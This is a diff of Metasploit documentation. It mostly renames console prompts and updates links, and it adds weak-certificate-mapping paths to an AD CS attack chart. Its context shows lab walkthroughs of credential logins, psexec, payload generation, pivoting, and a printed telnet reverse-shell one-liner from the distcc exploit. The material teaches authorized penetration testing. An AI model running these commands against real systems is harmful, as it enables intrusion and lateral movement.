@@ -86,14 +86,14 @@ Should give you output similar to
[*] SMB session 1 opened (172.16.158.1:62793 -> 172.14.2.164:445) at 2024-03-12 17:03:09 +0000
[*] 172.14.2.164:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
msf auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1...
```
Which you can interact with using `sessions -i <session id>` or `sessions -i -1` to interact with the most recently opened session.
```msf
msf6 auxiliary(scanner/smb/smb_login) > sessions -i -1
msf auxiliary(scanner/smb/smb_login) > sessions -i -1
[*] Starting interaction with 1...
SMB (172.14.2.164) > shares
@@ -315,8 +315,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
Running psexec against a host:
```msf
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local
[*] Started reverse TCP handler on 192.168.123.1:4444
[*] 192.168.123.13:445 - Connecting to the server...
@@ -12,7 +12,7 @@ Metasploit has support for multiple SSH modules, including:
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
```msf
msf6 > search ssh
msf > search ssh
```
### Lab Environment
@@ -61,8 +61,8 @@ docker run --rm -it --publish 127.0.0.1:2222:22 ssh_lab:latest
It should now be possible to test the SSH login from msfconsole:
```msf
msf6 > use scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > run ssh://test_user:password123@127.0.0.1:2222
msf > use scanner/ssh/ssh_login
msf auxiliary(scanner/ssh/ssh_login) > run ssh://test_user:password123@127.0.0.1:2222
[*] 127.0.0.1:2222 - Starting bruteforce
[+] 127.0.0.1:2222 - Success: 'test_user:password123' 'uid=700(test_user) gid=700(test_user) groups=700(test_user),700(test_user) Linux 5a26fe63abef 5.10.25-linuxkit #1 SMP Tue Mar 23 09:27:39 UTC 2021 x86_64 Linux '
@@ -115,7 +115,7 @@ use scanner/ssh/ssh_login
run ssh://user:pass@172.18.102.20
```
Re-using SSH credentials in a subnet:
Reusing SSH credentials in a subnet:
```
use scanner/ssh/ssh_login
@@ -3,7 +3,7 @@
Each Metasploit module has a set of options which must be set before running. These can be seen with the `show options` or `options` command:
```msf
msf6 exploit(windows/smb/ms17_010_eternalblue) > options
msf exploit(windows/smb/ms17_010_eternalblue) > options
Module options (exploit/windows/smb/ms17_010_eternalblue):
@@ -36,7 +36,7 @@ Exploit target:
Each Metasploit module also has _advanced_ options, which can often be useful for fine-tuning modules, in particular setting connection timeouts values can be useful:
```msf
msf6 exploit(windows/smb/ms17_010_eternalblue) > advanced
msf exploit(windows/smb/ms17_010_eternalblue) > advanced
Module advanced options (exploit/windows/smb/ms17_010_eternalblue):
@@ -61,7 +61,7 @@ Payload advanced options (windows/x64/meterpreter/reverse_tcp):
You can see which options stilloptions to be set with the `show missing` command:
```msf
msf6 exploit(windows/smb/ms17_010_eternalblue) > show missing
msf exploit(windows/smb/ms17_010_eternalblue) > show missing
Module options (exploit/windows/smb/ms17_010_eternalblue):
@@ -41,7 +41,7 @@ Metasploit has support for multiple WinRM modules, including:
There are more modules than listed here, for the full list of modules run the `search` command within msfconsole:
```msf
msf6 > search winrm
msf > search winrm
```
### Lab Environment
@@ -70,7 +70,7 @@ run https://192.168.123.139:5986
Example:
```msf
msf6 auxiliary(scanner/winrm/winrm_auth_methods) > run http://192.168.123.139:5985
msf auxiliary(scanner/winrm/winrm_auth_methods) > run http://192.168.123.139:5985
[+] 192.168.123.139:5985: Negotiate protocol supported
[+] 192.168.123.139:5985: Kerberos protocol supported
@@ -123,14 +123,14 @@ run http://user:pass@192.168.123.139:5985
Example:
```msf
msf6 auxiliary(scanner/winrm/winrm_login) > run http://user:pass@192.168.123.139:5985
msf auxiliary(scanner/winrm/winrm_login) > run http://user:pass@192.168.123.139:5985
[!] No active DB -- Credential data will not be saved!
[+] 192.168.123.139:5985 - Login Successful: WORKSTATION\user:pass
[*] Command shell session 7 opened (192.168.123.1:58673 -> 192.168.123.139:5985 ) at 2022-04-23 02:36:34 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1
[*] Starting interaction with 7...
Microsoft Windows [Version 10.0.14393]
@@ -146,8 +146,8 @@ Details on the Kerberos specific option names are documented in [[Kerberos Servi
Open a WinRM session:
```msf
msf6 > use auxiliary/scanner/winrm/winrm_login
msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
msf > use auxiliary/scanner/winrm/winrm_login
msf auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local
[+] 192.168.123.13:88 - Received a valid TGT-Response
[*] 192.168.123.13:5985 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin
@@ -159,7 +159,7 @@ msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Ad
[*] Command shell session 1 opened (192.168.123.1:50722 -> 192.168.123.13:5985) at 2023-01-18 12:06:05 +0000
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1
msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1
[*] Starting interaction with 1...
Microsoft Windows [Version 10.0.14393]
@@ -61,7 +61,7 @@ When the user views the options for a given module, it will be consolidated. The
Multiple options are available for configuring the module options:
```msf
msf5 exploit(multi/http/tomcat_mgr_upload) > options
msf exploit(multi/http/tomcat_mgr_upload) > options
Module options (exploit/multi/http/tomcat_mgr_upload):
@@ -88,7 +88,7 @@ Exploit target:
Multiple options are consolidated into a single TARGETS field:
```msf
msf5 exploit(multi/http/tomcat_mgr_upload) > options
msf exploit(multi/http/tomcat_mgr_upload) > options
Module options (exploit/multi/http/tomcat_mgr_upload):
@@ -118,9 +118,9 @@ The values that are common to both `HTTP(S)` and `TCP` transports are:
* `tcp://:<port>` - indicates that this payload is a _bind_ payload listening on the specified port (note that no host is specified).
* `http://<host>:<port>/<uri>` - indicates that this payload is an HTTP connection (can only be _reverse_).
* `https://<host>:<port>/<uri>` - indicates that this payload is an HTTPS connection (can only be _reverse_).
* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the **Timeout documentation** (link coming soon).
* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the **Timeout documentation** (link coming soon).
* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the **Timeout documentation** (link coming soon).
* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
The layout of this block in memory looks like the following:
@@ -159,8 +159,8 @@ At this time, there are no `TCP`-specific configuration values, as the common co
* `http://<proxy ip>:<proxy port>` in the case of `HTTP` proxies.
* `socks=<socks ip>:<sock port>` in the case of `socks` proxies.
* **Proxy user name** - Some proxies require authentication. In such cases, this value contains the username that should be used to authenticate with the given proxy. This field is `64` characters in size (`wchar_t`).
* Proxy password - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`).
*** User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`).
* **Proxy password** - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`).
* **User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`).
* **Expected SSL certificate hash** - Meterpreter has the capability of validating the SSL certificate that Metasploit presents when using `HTTPS`. This value contains the `20`-byte SHA1 hash of the expected certificate. For more information, please read the **SSL certificate validation documentation** (link coming soon).
All values that are shown above need to be specified in the configuration, including SSL certificate validation for plain `HTTP` connections. Values that are not used should be zeroed out.
@@ -207,7 +207,7 @@ As already mentioned, more than one of these transport configuration blocks can
### Extension configuration block
The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have **Stageless payloads** (link coming soon), and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the **Stageless payloads** (link coming soon) documentation.
The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have [[Stageless payloads|./Meterpreter-Stageless-Mode.md]], and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the [[Stageless payloads|./Meterpreter-Stageless-Mode.md]] documentation.
The extension configuration block also functions as a "list" to allow for an arbitrary number of extensions to be included. Each extension entry needs to contain:
@@ -8,7 +8,7 @@ There are currently two main ways to debug Meterpreter sessions:
This can be enabled for any Meterpreter session, and does not require a debug Metasploit build:
```msf
msf6 > setg SessionTlvLogging true
msf > setg SessionTlvLogging true
SessionTlvLogging => true
```
@@ -62,7 +62,7 @@ The result of your registry queries can be impacted if you are interacting with
You can see the type of session you currently have open with the `sessions` command:
```msf
msf6 exploit(windows/smb/psexec) > sessions
msf exploit(windows/smb/psexec) > sessions
Active sessions
===============
@@ -71,7 +71,7 @@ Related open tickets (slightly broader than Meterpreter):
* Change desktop/phone background
* Remote mouse control
* Play sound on the remote system
* Read words outloud via text to speech on the remote system
* Read words out loud via text to speech on the remote system
* Volume control
* RSS feed from reverse_http(s) mult-handler that I can connect a RSS reader to (or something like IFTTT) and get notices when new sessions are created
* MessageBox popups
+6 -6
View File
@@ -46,18 +46,18 @@ execute code such as adding user accounts, or executing a simple pingback comman
Payload modules can also be used individually to generate standalone executables, or shellcode for use within exploits:
```msf
msf6 payload(linux/x86/shell_reverse_tcp) > back
msf6 > use payload/linux/x86/shell_reverse_tcp
msf6 payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1
msf payload(linux/x86/shell_reverse_tcp) > back
msf > use payload/linux/x86/shell_reverse_tcp
msf payload(linux/x86/shell_reverse_tcp) > set lhost 127.0.0.1
lhost => 127.0.0.1
msf6 payload(linux/x86/shell_reverse_tcp) > set lport 4444
msf payload(linux/x86/shell_reverse_tcp) > set lport 4444
lport => 4444
# Generate a payload for use within C
msf6 payload(linux/x86/shell_reverse_tcp) > generate -f c
msf payload(linux/x86/shell_reverse_tcp) > generate -f c
# Generate an ELF file for execution on Linux environments
msf6 payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell
msf payload(linux/x86/shell_reverse_tcp) > generate -f elf -o linux_shell
```
### Post modules ({{ site.metasploit_module_counts["post"] }})
@@ -36,8 +36,8 @@ One of the easiest ways to do this is to use the `post/multi/manage/autoroute` m
```msf
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > show options
msf exploit(multi/handler) > use post/multi/manage/autoroute
msf post(multi/manage/autoroute) > show options
Module options (post/multi/manage/autoroute):
@@ -49,13 +49,13 @@ Module options (post/multi/manage/autoroute):
SESSION yes The session to run this module on
SUBNET no Subnet (IPv4, for example, 10.10.10.0)
msf6 post(multi/manage/autoroute) > set SESSION 1
msf post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/autoroute) > set SUBNET 169.254.0.0
msf post(multi/manage/autoroute) > set SUBNET 169.254.0.0
SUBNET => 169.254.0.0
msf6 post(multi/manage/autoroute) > set NETMASK /16
msf post(multi/manage/autoroute) > set NETMASK /16
NETMASK => /16
msf6 post(multi/manage/autoroute) > show options
msf post(multi/manage/autoroute) > show options
Module options (post/multi/manage/autoroute):
@@ -67,7 +67,7 @@ Module options (post/multi/manage/autoroute):
SESSION 1 yes The session to run this module on
SUBNET 169.254.0.0 no Subnet (IPv4, for example, 10.10.10.0)
msf6 post(multi/manage/autoroute) > run
msf post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: windows
@@ -76,12 +76,12 @@ msf6 post(multi/manage/autoroute) > run
[+] Route added to subnet 169.254.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.19.176.0/255.255.240.0 from host's routing table.
[*] Post module execution completed
msf6 post(multi/manage/autoroute) >
msf post(multi/manage/autoroute) >
```
If we now use Meterpreter's `route` command we can see that we have two route table entries within Metasploit's routing table, that are tied to Session 1, aka the session on the Windows 11 machine. This means anytime we want to contact a machine within one of the networks specified, we will go through Session 1 and use that to connect to the targets.
```msf
msf6 post(multi/manage/autoroute) > route
msf post(multi/manage/autoroute) > route
IPv4 Active Routing Table
=========================
@@ -92,16 +92,16 @@ IPv4 Active Routing Table
172.19.176.0 255.255.240.0 Session 1
[*] There are currently no IPv6 routes defined.
msf6 post(multi/manage/autoroute) >
msf post(multi/manage/autoroute) >
```
All right so that's one way, but what if we wanted to do this manually? First off to flush all routes from the routing table, we will do `route flush` followed by `route` to double check we have successfully removed the entries.
```msf
msf6 post(multi/manage/autoroute) > route flush
msf6 post(multi/manage/autoroute) > route
msf post(multi/manage/autoroute) > route flush
msf post(multi/manage/autoroute) > route
[*] There are currently no routes defined.
msf6 post(multi/manage/autoroute) >
msf post(multi/manage/autoroute) >
```
Now lets trying doing the same thing manually.
@@ -109,13 +109,13 @@ Now lets trying doing the same thing manually.
Here we can use `route add <IP ADDRESS OF SUBNET> <NETMASK> <GATEWAY>` to add the routes from within Metasploit, followed by `route print` to then print all the routes that Metasploit knows about. Note that the Gateway parameter is either an IP address to use as the gateway or as is more commonly the case, the session ID of an existing session to use to pivot the traffic through.
```msf
msf6 post(multi/manage/autoroute) > route add 169.254.0.0 255.255.0.0 1
msf post(multi/manage/autoroute) > route add 169.254.0.0 255.255.0.0 1
[*] Route added
msf6 post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240 1
msf post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240 1
[-] Invalid gateway
msf6 post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240.0 1
msf post(multi/manage/autoroute) > route add 172.19.176.0 255.255.240.0 1
[*] Route added
msf6 post(multi/manage/autoroute) > route print
msf post(multi/manage/autoroute) > route print
IPv4 Active Routing Table
=========================
@@ -126,15 +126,15 @@ IPv4 Active Routing Table
172.19.176.0 255.255.240.0 Session 1
[*] There are currently no IPv6 routes defined.
msf6 post(multi/manage/autoroute) >
msf post(multi/manage/autoroute) >
```
Finally we can check that the route will use session 1 by using `route get 169.254.204.110`
```msf
msf6 post(multi/manage/autoroute) > route get 169.254.204.110
msf post(multi/manage/autoroute) > route get 169.254.204.110
169.254.204.110 routes through: Session 1
msf6 post(multi/manage/autoroute) >
msf post(multi/manage/autoroute) >
```
If we want to then remove a specific route (such as in this case we want to remove the 172.19.176.0/20 route since we don't need that for this test), we can issue the `route del` or `route remove` commands with the syntax `route remove <IP ADDRESS OF SUBNET><NETMASK IN SLASH FORMAT> <GATEWAY>`
@@ -142,9 +142,9 @@ If we want to then remove a specific route (such as in this case we want to remo
Example:
```msf
msf6 post(multi/manage/autoroute) > route remove 172.19.176.0/20 1
msf post(multi/manage/autoroute) > route remove 172.19.176.0/20 1
[*] Route removed
msf6 post(multi/manage/autoroute) > route
msf post(multi/manage/autoroute) > route
IPv4 Active Routing Table
=========================
@@ -154,14 +154,14 @@ IPv4 Active Routing Table
169.254.0.0 255.255.0.0 Session 1
[*] There are currently no IPv6 routes defined.
msf6 post(multi/manage/autoroute) >
msf post(multi/manage/autoroute) >
```
## Using the Pivot
At this point we can now use the pivot with any Metasploit modules as shown below:
```msf
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > show options
Module options (exploit/windows/http/exchange_chainedserializationbinder_denylist_typo_rce):
@@ -195,7 +195,7 @@ Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.19.182.171 yes The listen address (an interface may be speci
fied)
field)
LOAD_MODULES no A list of powershell modules separated by a c
omma to download over the web
LPORT 4444 yes The listen port
@@ -208,11 +208,11 @@ Exploit target:
0 Windows Command
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > check
msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) > check
[*] Target is an Exchange Server!
[*] 169.254.204.110:443 - The target is not exploitable. Exchange Server 15.2.986.14 does not appear to be a vulnerable version!
msf6 exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) >
msf exploit(windows/http/exchange_chainedserializationbinder_denylist_typo_rce) >
```
## SMB Named Pipe Pivoting in Meterpreter
@@ -222,23 +222,23 @@ The Windows Meterpreter payload supports lateral movement in a network through S
First open a Windows Meterpreter session to the pivot machine:
```msf
msf6 > use payload/windows/x64/meterpreter/reverse_tcp
smsf6 payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
msf > use payload/windows/x64/meterpreter/reverse_tcp
smsf payload(windows/x64/meterpreter/reverse_tcp) > set lhost 172.19.182.171
lhost => 172.19.182.171
msf6 payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
msf payload(windows/x64/meterpreter/reverse_tcp) > set lport 4578
lport => 4578
msf6 payload(windows/x64/meterpreter/reverse_tcp) > to_handler
msf payload(windows/x64/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0
[*] Started reverse TCP handler on 172.19.182.171:4578
msf6 payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34
msf payload(windows/x64/meterpreter/reverse_tcp) > [*] Sending stage (200774 bytes) to 172.19.185.34
[*] Meterpreter session 1 opened (172.19.182.171:4578 -> 172.19.185.34:49674) at 2022-06-09 13:23:03 -0500
```
Create named pipe pivot listener on the pivot machine, setting `-l` to the pivot's bind address:
```msf
msf6 payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
msf payload(windows/x64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...
meterpreter > pivot add -t pipe -l 169.254.16.221 -n msf-pipe -a x64 -p windows
@@ -250,7 +250,7 @@ meterpreter > background
Now generate a separate payload that will connect back through the pivot machine. This payload will be executed on the final target machine. Note there is no need to start a handler for the named pipe payload.
```msf
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > show options
msf payload(windows/x64/meterpreter/reverse_named_pipe) > show options
Module options (payload/windows/x64/meterpreter/reverse_named_pipe):
@@ -260,17 +260,17 @@ Module options (payload/windows/x64/meterpreter/reverse_named_pipe):
PIPEHOST . yes Host of the pipe to connect to
PIPENAME msf-pipe yes Name of the pipe to listen on
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221
msf payload(windows/x64/meterpreter/reverse_named_pipe) > set pipehost 169.254.16.221
pipehost => 169.254.16.221
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe
msf payload(windows/x64/meterpreter/reverse_named_pipe) > generate -f exe -o revpipe_meterpreter_msfpipe.exe
[*] Writing 7168 bytes to revpipe_meterpreter_msfpipe.exe...
```
After running the payload on the final target machine a new session will open, via the Windows 11 169.254.16.221 pivot.
```msf
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500
msf payload(windows/x64/meterpreter/reverse_named_pipe) > [*] Meterpreter session 2 opened (Pivot via [172.19.182.171:4578 -> 169.254.16.221:49674]) at 2022-06-09 13:34:32 -0500
msf6 payload(windows/x64/meterpreter/reverse_named_pipe) > sessions
msf payload(windows/x64/meterpreter/reverse_named_pipe) > sessions
Active sessions
===============
@@ -384,8 +384,8 @@ Once routes are established, Metasploit modules can access the IP range specifie
Metasploit can launch a SOCKS proxy server using the module: `auxiliary/server/socks_proxy`. When set up to bind to a local loopback adapter, applications can be directed to use the proxy to route TCP/IP traffic through Metasploit's routing tables. Here is an example of how this module might be used:
```msf
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > show options
msf > use auxiliary/server/socks_proxy
msf auxiliary(server/socks_proxy) > show options
Module options (auxiliary/server/socks_proxy):
@@ -407,16 +407,16 @@ Auxiliary action:
Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
SRVHOST => 127.0.0.1
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf auxiliary(server/socks_proxy) > set SRVPORT 1080
SRVPORT => 1080
msf6 auxiliary(server/socks_proxy) > run
msf auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/socks_proxy) >
msf auxiliary(server/socks_proxy) >
[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > jobs
msf auxiliary(server/socks_proxy) > jobs
Jobs
====
@@ -425,7 +425,7 @@ Jobs
-- ---- ------- ------------
0 Auxiliary: server/socks_proxy
msf6 auxiliary(server/socks_proxy) >
msf auxiliary(server/socks_proxy) >
```
### proxychains-ng Setup
@@ -18,7 +18,7 @@ Assuming you have installed Metasploit, either with the official Rapid7 nightly
Metasploit Documentation: https://docs.metasploit.com/
msf6 >
msf >
```
### Finding modules
@@ -33,7 +33,7 @@ Metasploit is based around the concept of [[modules]]. The most commonly used mo
You can use the `search` command to search for modules:
```msf
msf6 > search type:auxiliary http html title tag
msf > search type:auxiliary http html title tag
Matching Modules
================
@@ -45,15 +45,15 @@ Matching Modules
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/title
msf6 >
msf >
```
You can `use` a Metasploit module by specifying the full module name. The prompt will be updated to indicate the currently
active module:
```msf
msf6 > use auxiliary/scanner/http/title
msf6 auxiliary(scanner/http/title) >
msf > use auxiliary/scanner/http/title
msf auxiliary(scanner/http/title) >
```
### Running Auxiliary modules
@@ -62,14 +62,14 @@ Auxiliary modules do not exploit a target, but can perform data gathering or adm
extracting the HTTP title from a server:
```msf
msf6 > use auxiliary/scanner/http/title
msf6 auxiliary(scanner/http/title) >
msf > use auxiliary/scanner/http/title
msf auxiliary(scanner/http/title) >
```
Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command:
```msf
msf6 auxiliary(scanner/http/title) > show options
msf auxiliary(scanner/http/title) > show options
Module options (auxiliary/scanner/http/title):
@@ -88,21 +88,21 @@ Module options (auxiliary/scanner/http/title):
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/http/title) >
msf auxiliary(scanner/http/title) >
```
To set a module option, use the `set command`. We will set the `RHOST` option - which represents the target host(s) that
the module will run against:
```msf
msf6 auxiliary(scanner/http/title) > set RHOSTS google.com
msf auxiliary(scanner/http/title) > set RHOSTS google.com
RHOSTS => google.com
```
The `run` command will run the module against the target, showing the target's HTTP title:
```msf
msf6 auxiliary(scanner/http/title) > run
msf auxiliary(scanner/http/title) > run
[+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
[*] Scanned 1 of 1 hosts (100% complete)
@@ -113,7 +113,7 @@ New in Metasploit 6 there is added support for running modules with options set
both `RHOSTS` and enabling `HttpTrace` functionality:
```msf
msf6 auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true
msf auxiliary(scanner/http/title) > run rhosts=google.com httptrace=true
####################
# Request:
@@ -142,7 +142,7 @@ The document has moved
[+] [142.250.180.14:80] [C:301] [R:http://www.google.com/] [S:gws] 301 Moved
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/title) >
msf auxiliary(scanner/http/title) >
```
### Running exploit modules
@@ -156,9 +156,9 @@ For instance in a Virtual Machine, or with Docker. There are multiple pre-built
For instance - targeting a vulnerable Metasploitable2 VM and using the `unix/misc/distcc_exec` module:
```msf
msf6 > use unix/misc/distcc_exec
msf > use unix/misc/distcc_exec
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(unix/misc/distcc_exec) >
msf exploit(unix/misc/distcc_exec) >
```
Exploit modules will generally at a minimum require the following options to be set:
@@ -170,7 +170,7 @@ Exploit modules will generally at a minimum require the following options to be
Each module offers configurable options which can be viewed with the `show options`, or aliased `options`, command:
```msf
msf6 exploit(unix/misc/distcc_exec) > options
msf exploit(unix/misc/distcc_exec) > options
Module options (exploit/unix/misc/distcc_exec):
@@ -198,24 +198,24 @@ Exploit target:
View the full module info with the info, or info -d command.
msf6 exploit(unix/misc/distcc_exec) >
msf exploit(unix/misc/distcc_exec) >
```
For this scenario you can manually set each of the required option values (`RHOST`, `LHOST`, and optionally `PAYLOAD`):
```msf
msf6 exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133
msf exploit(unix/misc/distcc_exec) > set rhost 192.168.123.133
rhost => 192.168.123.133
msf6 exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1
msf exploit(unix/misc/distcc_exec) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
msf exploit(unix/misc/distcc_exec) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
```
The `run` command will run the module against the target, there is also an aliased `exploit` command which will perform the same action:
```msf
msf6 exploit(unix/misc/distcc_exec) > run
msf exploit(unix/misc/distcc_exec) > run
[+] sh -c '(sleep 4375|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.123.1:4444
@@ -238,7 +238,7 @@ daemon
New in Metasploit 6 there is added support for running modules with options set as part of the run command:
```msf
msf6 exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse
msf exploit(unix/misc/distcc_exec) > run rhost=192.168.123.133 lhost=192.168.123.1 payload=cmd/unix/reverse
[+] sh -c '(sleep 4305|telnet 192.168.123.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.123.1 4444 >/dev/null 2>&1 &)'
[*] Started reverse TCP double handler on 192.168.123.1:4444
@@ -163,7 +163,7 @@ Start `msfconsole` and verify postgresql connection using the `db_status` comman
mv ~/.msf4/config ~/.msf4/config.disable
./msfconsole
...
msf5 > db_status
msf > db_status
[*] Connected to msf. Connection type: postgresql.
```
@@ -171,4 +171,4 @@ Drop (delete) the cluster:
```
PG_CLUSTER_CONF_ROOT=$HOME/.local/etc/postgresql pg_dropcluster 9.6 msf
```
```
@@ -14,6 +14,11 @@ flowchart TD
ESC8(ESC8)
ESC8 --> web_enrollment[<i>Issuance via Web Enrollment</i>]
end
subgraph esc_update_ldap_object[<b>esc_update_ldap_object</b>]
ESC9(ESC9) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
ESC10(ESC10) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
ESC16(ESC16) --> weak_certificate_mapping[<i>Issuance via Weak Certificate Mapping</i>]
end
subgraph icpr_cert[<b>icpr_cert</b>]
ESC1(ESC1)
ESC2(ESC2)
@@ -51,6 +56,8 @@ flowchart TD
update_template --> ESC1
web_enrollment --> PKINIT
web_enrollment --> SCHANNEL
weak_certificate_mapping --> PKINIT
weak_certificate_mapping --> SCHANNEL
```
The chart above showcases how one can go about attacking each of the AD CS vulnerabilities supported by Metasploit,
@@ -94,11 +101,13 @@ Later, additional techniques were disclosed by security researchers:
`StrongCertificateBindingEnforcement` not set to 2 or `CertificateMappingMethods` contains `UPN` flag.
- [Certipy 4.0: ESC9 & ESC10, BloodHound GUI, New Authentication and Request Methods — and
more!](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
- [[Exploit Steps|attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc9]]
- ESC10 - Weak Certificate Mappings - `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
CertificateMappingMethods` contains `UPN` bit aka `0x4` or `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
StrongCertificateBindingEnforcement` is set to `0`.
